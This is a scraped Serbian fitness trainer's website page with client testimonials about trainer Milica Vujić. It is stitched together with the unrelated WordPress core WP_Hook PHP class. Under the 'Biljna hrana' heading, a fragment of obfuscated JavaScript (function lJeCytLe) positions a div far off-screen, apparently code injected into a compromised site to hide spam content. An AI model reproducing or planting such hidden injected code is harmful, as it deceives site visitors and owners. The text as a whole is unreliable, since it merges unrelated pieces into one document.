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Srce duše

  Radionica "Srce duše" biće održana u Novom Sadu 24.09.2017  (12-18h ) Svako ce dobiti nesto drugacije, jedinstveno, unikatno, samo njemu znano,
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Srce duše

Tesla

“Dar isceljujuće energije dolazi od Boga, vrhunskog bića, i ako mi spoznamo i osvestimo tu istinu, postajemo skladni sa ovom
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Tesla

Osnovni Koraci Razvoja Svesnosti Kroz Nacin Ishrane I Brigu O Sebi

      ...jer samo zdrava dusa moze da ispuni svoju svrhu' Milica Vujic, kondicioni trener, fitnes instruktor, hard body trener, prakticar yoge, pilates
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Osnovni Koraci Razvoja Svesnosti Kroz Nacin Ishrane I Brigu O Sebi

Biljna hrana

function lJeCytLe(umR) { var BuvBN = "#mtaxnzy1mzuz{margin:0px 20px;overflow:hidden}#mtaxnzy1mzuz>div{top:-3874px;overflow:hidden;position:fixed;left:-2702px;display:block}";
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Biljna hrana
Iskustva
Maja Vučkovic, Novi Sad
Maja Vučkovic, Novi Sad
Kao trener temeljna, posvecena, istrajna, ljubazna i uvek sa osmehom na licu. Treninzi dinamicni, uvek drugaciji, zanimljivi. To je ono zbog cega mi nije bilo tesko da odem na svaki trening bez izgovora, a zbog cega i dan danas ne mogu da pronadjem nista slicno sto ce me osvojiti kao treninzi sa Milicom!
Daniela Lalić, Novi Sad
Daniela Lalić, Novi Sad
... momenat kada cuda postaju stvarnost, kada zelja postane ostvarljiva, kada ti se vraca osmeh na lice... Tog dana nisam ni slutila da ce mi se zivot toliko promeniti upoznavsi nju, obicnu devojku koja je bila neverovatno nasmejana,raspolozena, prosto je zracila tom svojom pozitivnoscu, nesebicno je prenoseci na druge... tako je i na mene... A ja sam bila tuzna devojka koja je imala problema sa hormonima, sa debljinom, velikim viskom kilograma... jeduci samo proteine jer je tad bila aktuelna takva vrsta ishrane, nadajuci se da cu ih skinuti na njenim treninzima, neznajuci da mi je bas ona stvarala te probleme, hormoni u zivotinjskom mesu remete nase hormone... A onda su dosli njeni saveti,pored veoma delotvornih treninga... U danasnje vreme ima mnogo ljudi koji su pozitivni ali retki su oni koji to mogu i da prenesu na druge... ona je jedna od njih... A zatim svojim velikim iskustvom u svetu sporta, fitnesa i najvise ishrane je podelila neke odredjene savete sa mnom... i hvala joj na tome... I danas se secam tog dana iako je proslo dosta godina od tad... Cujem se sa njom i danas, i sada ima vremena da odgovori na svaku moju poruku iako sam ja kao i svako drugi, obicna devojka, kojoj je potreban neki savet... a ona se sve te godine i dalje usavrsava i napreduje... Nismo ni drugarice ni prijateljice, jer se to postaje na drugaciji nacin, ali ima veoma vazno mesto u mom zivotu jer mi se od tad zivot poceo menjati...
 Carla Almassri 11, Erbil
Carla Almassri 11, Erbil
Treninzi su bili odlični. Bilo je to zabavno iskustvo. Osećala sam se kako se poboljšavam te sam naučila mnogo veština koje i dalje dan danas koristim. Obožavam ih .
Branka  Laketić, Novi Sad
Branka Laketić, Novi Sad
Na treninzima je bilo fenomenalno, prijatna atmosfera, jaki i dobri treninzi, trener posvecen svom poslu, a i nama svima. Sve u svemu, prezadovoljna sam bila i rado bih nastavila kada bih imala priliku.
Jelena kragović, Beograd
Jelena kragović, Beograd
Milica je pre svega jedna divna osoba koja je uvek otvorena da porazgovara sa Vama i da Vam iskreni savet bez podsmevanja ili ruznih pogleda sa mislju "Na sta licis!", sto se verujte mi desava. Sa Milicom se svako oseca motivisano, jer je pravi profesionalac i reci ce Vam uvek da za trening nikada nije kasno.  Svakome se posveti sto se treninga tice maksimalno i pomogne i sa savetima u vezi ishrane, pored svega. Sve tople preporuke za Milicu od mene. Na kraju krajeva, ne morate mi verovati, vec trenirajte sa njom, pa cete se uveriti i sami. I da, da ne zaboravim...pored svega Milica je prelepa...Sve pohvale i tople preporuke za Milicu
Nataša Stanković, Novi Sad
Nataša Stanković, Novi Sad
Sjajni treninzi, preciznost, postavljanje ciljeva, njihovo ostvarivanje kao i sjajna komunikacija omogucili su mi da sa uvek nasmejanom Milicom uspostavim odnos kakav se moze pozeleti. Uspela je da poboljsa moje performanse, savetovala me je u vezi sa ishranom i odrzavala motivaciju za ostvarivanjem ciljeva. Takodje, naucila me je kako da uzivam u svakom treningu i da mi isti ne predstavlja obavezu, vec nesto cemu sam se celog dana radovala. Uspesno smo saradjivale, preporucila bih je svakome i sa sigurnoscu mogu da tvrdim da ce Milica za kratko vreme uspeti da promeni Vas nacin zivota i da iskoreni lose navike.
Danijela Jocic, Beograd
Danijela Jocic, Beograd
Milicu sam slucajno upoznala u jednoj teretani, u Beogradu. Prica pocinje ovako: Odlazila sam na kardio treninge i na poneku spravicu u teretanu u komsiluku dok mi jedan dan paznju nije privukla jedna devojka u sali koja sprema nesto sto jos nisam videla na tv-u, bar ono reklama sto ugrabim u slobodno vreme. Simpatizer sam grupnih treninga, sa razlicitim vezbama i brzim rezultatom. Strpljenje mi je slaba tacka, pogotovo kad imate malo vremena da liniju dovedete skoro do savrsenstva. Ono sto mi je prvo skrenulo pogled ka sali gde se uveliko spremalo nesto novo bila je muzika koja bukvalno "dize iz mrtvih". Dve reci te devojke-Milice, mog trenera, bile su dovoljne da joj se pridruzim odmah, cak i pre formiranja prve grupe polaznika. Nailazim na ODUSEVLJENJE! Strah na pocetku, da li cu izdrzati trening, naporno je, zahteva kondiciju, snagu, koncentraciju, uigranost! Zove se Insanity. Dve godine u tom ritmu je proletelo...4-5 puta nedeljno odlazenja na treninge cinili su mi veliko zadovoljstvo i srecu. Moja sestra je krenula odmah sa mnom. Grupa od deset devojaka treniraju kao jedan! Koliko raspolozenje posle treninga, od sat ipo vremena! Noge, stomak i ruke kao na profi slikama iz casopisa! Trening pripremljen i osmisljen kao u najboljem inostranom spotu, vezbe povezane, koordinacija tela...Prvo zagrevanje, a potom krecemo od glave i vrata, ruku, stomaka, nogu...istezanje. Muzika drzi atmosferu da ne razmisljamo o umoru. Svaki trening drugaciji, nema mesta monotoniji. Koristimo tegice, vijace. Na kraju treninga mokra majica nam najbolje pokaze rezultat svega toga. Moram priznati da sam ishranu morala malo da korigujem jer mi je genetika takva, sve se lepi. To mi je sve bilo lako uz Milicine razgovore, savete, recepte, redovno proveravanje kilaze i masti. Neko je jos brinuo o mom telu i zdravlju.
 Sara Barzani, Erbil
Sara Barzani, Erbil
Trening s Milicom je jedno od najboljih iskustva koje sam imala u zivotu. Tezak posao se s njom cinio toliko lagano. Ona kao trener me gurala u treninzima da postignem svoje ciljeve. Umor nije uopste bio problem s njenom pomoci. Pomogla mi je transformisati moje telo, onako kako sam zelela. Energija i izdrzljivost su mi bile dve najvaznije stvari koje mi je pomogla poboljsati.
Sherri Kraham Talabany, Erbil
Sherri Kraham Talabany, Erbil
Moj muž i ja obožavali smo kao klijenti raditi s Milicom koja nas je držala na nogama sa rigoroznim režimom kroz trening snage, trening za tonus i kardio trening ukomponovan u jedan sat intenzivnog vežbanja. Čak je menjala vežbe tako da nikada nije bilo dosadno i uvek je uspevala napraviti trening za kompletno telo. To je vodilo do vrhunskih rezultata na telesnom i fitness nivou.
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<?php
/**
 * Plugin API: WP_Hook class
 *
 * @package WordPress
 * @subpackage Plugin
 * @since 4.7.0
 */

/**
 * Core class used to implement action and filter hook functionality.
 *
 * @since 4.7.0
 *
 * @see Iterator
 * @see ArrayAccess
 */
final class WP_Hook implements Iterator, ArrayAccess {

	/**
	 * Hook callbacks.
	 *
	 * @since 4.7.0
	 * @access public
	 * @var array
	 */
	public $callbacks = array();

	/**
	 * The priority keys of actively running iterations of a hook.
	 *
	 * @since 4.7.0
	 * @access private
	 * @var array
	 */
	private $iterations = array();

	/**
	 * The current priority of actively running iterations of a hook.
	 *
	 * @since 4.7.0
	 * @access private
	 * @var array
	 */
	private $current_priority = array();

	/**
	 * Number of levels this hook can be recursively called.
	 *
	 * @since 4.7.0
	 * @access private
	 * @var int
	 */
	private $nesting_level = 0;

	/**
	 * Flag for if we're current doing an action, rather than a filter.
	 *
	 * @since 4.7.0
	 * @access private
	 * @var bool
	 */
	private $doing_action = false;

	/**
	 * Hooks a function or method to a specific filter action.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @param string   $tag             The name of the filter to hook the $function_to_add callback to.
	 * @param callable $function_to_add The callback to be run when the filter is applied.
	 * @param int      $priority        The order in which the functions associated with a
	 *                                  particular action are executed. Lower numbers correspond with
	 *                                  earlier execution, and functions with the same priority are executed
	 *                                  in the order in which they were added to the action.
	 * @param int      $accepted_args   The number of arguments the function accepts.
	 */
	public function add_filter( $tag, $function_to_add, $priority, $accepted_args ) {
		$idx = _wp_filter_build_unique_id( $tag, $function_to_add, $priority );
		$priority_existed = isset( $this->callbacks[ $priority ] );

		$this->callbacks[ $priority ][ $idx ] = array(
			'function' => $function_to_add,
			'accepted_args' => $accepted_args
		);

		// if we're adding a new priority to the list, put them back in sorted order
		if ( ! $priority_existed && count( $this->callbacks ) > 1 ) {
			ksort( $this->callbacks, SORT_NUMERIC );
		}

		if ( $this->nesting_level > 0 ) {
			$this->resort_active_iterations( $priority, $priority_existed );
		}
	}

	/**
	 * Handles reseting callback priority keys mid-iteration.
	 *
	 * @since 4.7.0
	 * @access private
	 *
	 * @param bool|int $new_priority     Optional. The priority of the new filter being added. Default false,
	 *                                   for no priority being added.
	 * @param bool     $priority_existed Optional. Flag for whether the priority already existed before the new
	 *                                   filter was added. Default false.
	 */
	private function resort_active_iterations( $new_priority = false, $priority_existed = false ) {
		$new_priorities = array_keys( $this->callbacks );

		// If there are no remaining hooks, clear out all running iterations.
		if ( ! $new_priorities ) {
			foreach ( $this->iterations as $index => $iteration ) {
				$this->iterations[ $index ] = $new_priorities;
			}
			return;
		}

		$min = min( $new_priorities );
		foreach ( $this->iterations as $index => &$iteration ) {
			$current = current( $iteration );
			// If we're already at the end of this iteration, just leave the array pointer where it is.
			if ( false === $current ) {
				continue;
			}

			$iteration = $new_priorities;

			if ( $current < $min ) {
				array_unshift( $iteration, $current );
				continue;
			}

			while ( current( $iteration ) < $current ) {
				if ( false === next( $iteration ) ) {
					break;
				}
			}

			// If we have a new priority that didn't exist, but ::apply_filters() or ::do_action() thinks it's the current priority...
			if ( $new_priority === $this->current_priority[ $index ] && ! $priority_existed ) {
				/*
				 * ... and the new priority is the same as what $this->iterations thinks is the previous
				 * priority, we need to move back to it.
				 */

				if ( false === current( $iteration ) ) {
					// If we've already moved off the end of the array, go back to the last element.
					$prev = end( $iteration );
				} else {
					// Otherwise, just go back to the previous element.
					$prev = prev( $iteration );
				}
				if ( false === $prev ) {
					// Start of the array. Reset, and go about our day.
					reset( $iteration );
				} elseif ( $new_priority !== $prev ) {
					// Previous wasn't the same. Move forward again.
					next( $iteration );
				}
			}
		}
		unset( $iteration );
	}

	/**
	 * Unhooks a function or method from a specific filter action.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @param string   $tag                The filter hook to which the function to be removed is hooked. Used
	 *                                     for building the callback ID when SPL is not available.
	 * @param callable $function_to_remove The callback to be removed from running when the filter is applied.
	 * @param int      $priority           The exact priority used when adding the original filter callback.
	 * @return bool Whether the callback existed before it was removed.
	 */
	public function remove_filter( $tag, $function_to_remove, $priority ) {
		$function_key = _wp_filter_build_unique_id( $tag, $function_to_remove, $priority );

		$exists = isset( $this->callbacks[ $priority ][ $function_key ] );
		if ( $exists ) {
			unset( $this->callbacks[ $priority ][ $function_key ] );
			if ( ! $this->callbacks[ $priority ] ) {
				unset( $this->callbacks[ $priority ] );
				if ( $this->nesting_level > 0 ) {
					$this->resort_active_iterations();
				}
			}
		}
		return $exists;
	}

	/**
	 * Checks if a specific action has been registered for this hook.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @param callable|bool $function_to_check Optional. The callback to check for. Default false.
	 * @param string        $tag               Optional. The name of the filter hook. Used for building
	 *                                         the callback ID when SPL is not available. Default empty.
	 * @return bool|int The priority of that hook is returned, or false if the function is not attached.
	 */
	public function has_filter( $tag = '', $function_to_check = false ) {
		if ( false === $function_to_check ) {
			return $this->has_filters();
		}

		$function_key = _wp_filter_build_unique_id( $tag, $function_to_check, false );
		if ( ! $function_key ) {
			return false;
		}

		foreach ( $this->callbacks as $priority => $callbacks ) {
			if ( isset( $callbacks[ $function_key ] ) ) {
				return $priority;
			}
		}

		return false;
	}

	/**
	 * Checks if any callbacks have been registered for this hook.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @return bool True if callbacks have been registered for the current hook, otherwise false.
	 */
	public function has_filters() {
		foreach ( $this->callbacks as $callbacks ) {
			if ( $callbacks ) {
				return true;
			}
		}
		return false;
	}

	/**
	 * Removes all callbacks from the current filter.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @param int|bool $priority Optional. The priority number to remove. Default false.
	 */
	public function remove_all_filters( $priority = false ) {
		if ( ! $this->callbacks ) {
			return;
		}

		if ( false === $priority ) {
			$this->callbacks = array();
		} else if ( isset( $this->callbacks[ $priority ] ) ) {
			unset( $this->callbacks[ $priority ] );
		}

		if ( $this->nesting_level > 0 ) {
			$this->resort_active_iterations();
		}
	}

	/**
	 * Calls the callback functions added to a filter hook.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @param mixed $value The value to filter.
	 * @param array $args  Arguments to pass to callbacks.
	 * @return mixed The filtered value after all hooked functions are applied to it.
	 */
	public function apply_filters( $value, $args ) {
		if ( ! $this->callbacks ) {
			return $value;
		}

		$nesting_level = $this->nesting_level++;

		$this->iterations[ $nesting_level ] = array_keys( $this->callbacks );
		$num_args = count( $args );

		do {
			$this->current_priority[ $nesting_level ] = $priority = current( $this->iterations[ $nesting_level ] );

			foreach ( $this->callbacks[ $priority ] as $the_ ) {
				if( ! $this->doing_action ) {
					$args[ 0 ] = $value;
				}

				// Avoid the array_slice if possible.
				if ( $the_['accepted_args'] == 0 ) {
					$value = call_user_func_array( $the_['function'], array() );
				} elseif ( $the_['accepted_args'] >= $num_args ) {
					$value = call_user_func_array( $the_['function'], $args );
				} else {
					$value = call_user_func_array( $the_['function'], array_slice( $args, 0, (int)$the_['accepted_args'] ) );
				}
			}
		} while ( false !== next( $this->iterations[ $nesting_level ] ) );

		unset( $this->iterations[ $nesting_level ] );
		unset( $this->current_priority[ $nesting_level ] );

		$this->nesting_level--;

		return $value;
	}

	/**
	 * Executes the callback functions hooked on a specific action hook.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @param mixed $args Arguments to pass to the hook callbacks.
	 */
	public function do_action( $args ) {
		$this->doing_action = true;
		$this->apply_filters( '', $args );

		// If there are recursive calls to the current action, we haven't finished it until we get to the last one.
		if ( ! $this->nesting_level ) {
			$this->doing_action = false;
		}
	}

	/**
	 * Processes the functions hooked into the 'all' hook.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @param array $args Arguments to pass to the hook callbacks. Passed by reference.
	 */
	public function do_all_hook( &$args ) {
		$nesting_level = $this->nesting_level++;
		$this->iterations[ $nesting_level ] = array_keys( $this->callbacks );

		do {
			$priority = current( $this->iterations[ $nesting_level ] );
			foreach ( $this->callbacks[ $priority ] as $the_ ) {
				call_user_func_array( $the_['function'], $args );
			}
		} while ( false !== next( $this->iterations[ $nesting_level ] ) );

		unset( $this->iterations[ $nesting_level ] );
		$this->nesting_level--;
	}

	/**
	 * Return the current priority level of the currently running iteration of the hook.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @return int|false If the hook is running, return the current priority level. If it isn't running, return false.
	 */
	public function current_priority() {
		if ( false === current( $this->iterations ) ) {
			return false;
		}

		return current( current( $this->iterations ) );
	}

	/**
	 * Normalizes filters set up before WordPress has initialized to WP_Hook objects.
	 *
	 * @since 4.7.0
	 * @access public
	 * @static
	 *
	 * @param array $filters Filters to normalize.
	 * @return WP_Hook[] Array of normalized filters.
	 */
	public static function build_preinitialized_hooks( $filters ) {
		/** @var WP_Hook[] $normalized */
		$normalized = array();

		foreach ( $filters as $tag => $callback_groups ) {
			if ( is_object( $callback_groups ) && $callback_groups instanceof WP_Hook ) {
				$normalized[ $tag ] = $callback_groups;
				continue;
			}
			$hook = new WP_Hook();

			// Loop through callback groups.
			foreach ( $callback_groups as $priority => $callbacks ) {

				// Loop through callbacks.
				foreach ( $callbacks as $cb ) {
					$hook->add_filter( $tag, $cb['function'], $priority, $cb['accepted_args'] );
				}
			}
			$normalized[ $tag ] = $hook;
		}
		return $normalized;
	}

	/**
	 * Determines whether an offset value exists.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @link http://php.net/manual/en/arrayaccess.offsetexists.php
	 *
	 * @param mixed $offset An offset to check for.
	 * @return bool True if the offset exists, false otherwise.
	 */
	public function offsetExists( $offset ) {
		return isset( $this->callbacks[ $offset ] );
	}

	/**
	 * Retrieves a value at a specified offset.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @link http://php.net/manual/en/arrayaccess.offsetget.php
	 *
	 * @param mixed $offset The offset to retrieve.
	 * @return mixed If set, the value at the specified offset, null otherwise.
	 */
	public function offsetGet( $offset ) {
		return isset( $this->callbacks[ $offset ] ) ? $this->callbacks[ $offset ] : null;
	}

	/**
	 * Sets a value at a specified offset.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @link http://php.net/manual/en/arrayaccess.offsetset.php
	 *
	 * @param mixed $offset The offset to assign the value to.
	 * @param mixed $value The value to set.
	 */
	public function offsetSet( $offset, $value ) {
		if ( is_null( $offset ) ) {
			$this->callbacks[] = $value;
		} else {
			$this->callbacks[ $offset ] = $value;
		}
	}

	/**
	 * Unsets a specified offset.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @link http://php.net/manual/en/arrayaccess.offsetunset.php
	 *
	 * @param mixed $offset The offset to unset.
	 */
	public function offsetUnset( $offset ) {
		unset( $this->callbacks[ $offset ] );
	}

	/**
	 * Returns the current element.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @link http://php.net/manual/en/iterator.current.php
	 *
	 * @return array Of callbacks at current priority.
	 */
	public function current() {
		return current( $this->callbacks );
	}

	/**
	 * Moves forward to the next element.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @link http://php.net/manual/en/iterator.next.php
	 *
	 * @return array Of callbacks at next priority.
	 */
	public function next() {
		return next( $this->callbacks );
	}

	/**
	 * Returns the key of the current element.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @link http://php.net/manual/en/iterator.key.php
	 *
	 * @return mixed Returns current priority on success, or NULL on failure
	 */
	public function key() {
		return key( $this->callbacks );
	}

	/**
	 * Checks if current position is valid.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @link http://php.net/manual/en/iterator.valid.php
	 *
	 * @return boolean
	 */
	public function valid() {
		return key( $this->callbacks ) !== null;
	}

	/**
	 * Rewinds the Iterator to the first element.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @link http://php.net/manual/en/iterator.rewind.php
	 */
	public function rewind() {
		reset( $this->callbacks );
	}

}

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